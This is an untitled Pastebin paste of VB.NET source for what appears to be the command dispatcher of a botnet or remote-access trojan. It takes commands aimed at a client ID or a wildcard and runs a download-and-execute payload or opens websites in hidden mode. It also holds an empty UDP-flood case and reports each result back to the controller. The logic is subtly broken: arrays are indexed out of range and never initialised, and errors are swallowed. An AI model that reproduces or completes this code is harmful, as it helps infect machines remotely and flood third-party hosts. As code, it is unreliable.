Advertisement
Guest User

Untitled

a guest
May 4th, 2016
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Public Class Executor
  2.     '| - Command
  3.    '> - Args
  4.    Private Client As New Client
  5.     Private delimiter As String() = {"|", ">"}
  6.     Public Sub execute(ByVal command As String)
  7.         If isCommand(command) Then
  8.             performCommand(command)
  9.         End If
  10.     End Sub
  11.     Private Function isCommand(ByVal command As String) As Boolean
  12.         Try
  13.             If command.Contains("|") Then
  14.                 Return True
  15.             End If
  16.         Catch : End Try
  17.     End Function
  18.     Private CommandId As String = "UNKNOWN"
  19.     Private Sub performCommand(ByVal command As String)
  20.         Try
  21.             'COMMAND_ID|TARGET|COMMAND>arg1>arg2
  22.            Dim Args As String() = command.Split(delimiter(0))
  23.             If Args.Count = 2 Then
  24.                 If (Args(0) IsNot CommandId) Then
  25.                     If Args(1) = Client.getRemoteId Or Args(1) = "*" Then
  26.                         Dim executeableCommand As String = Nothing
  27.                         Dim executeableCommandArgs As String() = Nothing
  28.                         If Args(2).Contains(delimiter(1)) Then
  29.                             executeableCommand = Args(2).Split(delimiter(1))(0)
  30.                             For i As Integer = 1 To Args(2).Split(delimiter(1)).Count
  31.                                 executeableCommandArgs(i) = Args(2).Split(delimiter(1))(i)
  32.                             Next
  33.                         Else
  34.                             executeableCommand = Args(1)
  35.                         End If
  36.  
  37.                         Select Case Integer.Parse(executeableCommand)
  38.                             Case 0 'Download&Execute
  39.                                COMMAND_DownloadAndExecute.perform(executeableCommandArgs(1))
  40.                                 Client.sendCallback("Downloading..., File: " & executeableCommandArgs(1))
  41.                             Case 1 'OpenWebsiteNormal
  42.                                COMMAND_OpenWebsite.perform(executeableCommandArgs(1))
  43.                                 Client.sendCallback("Opened Website., Visible: True, Url: " & executeableCommandArgs(1))
  44.                             Case 2 'OpenWebsiteHidden
  45.                                COMMAND_OpenWebsiteHidden.perform(executeableCommandArgs(1))
  46.                                 Client.sendCallback("Opened Website., Visible: False, Url: " & executeableCommandArgs(1))
  47.                             Case 3 'UdpFlooder
  48.                            Case 4 'StopClient
  49.                                Client.sendCallback("Client Stopped., Sender: " & executeableCommandArgs(1))
  50.                         End Select
  51.                         CommandId = Args(0)
  52.                     End If
  53.                 End If
  54.             End If
  55.         Catch : End Try
  56.     End Sub
  57. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement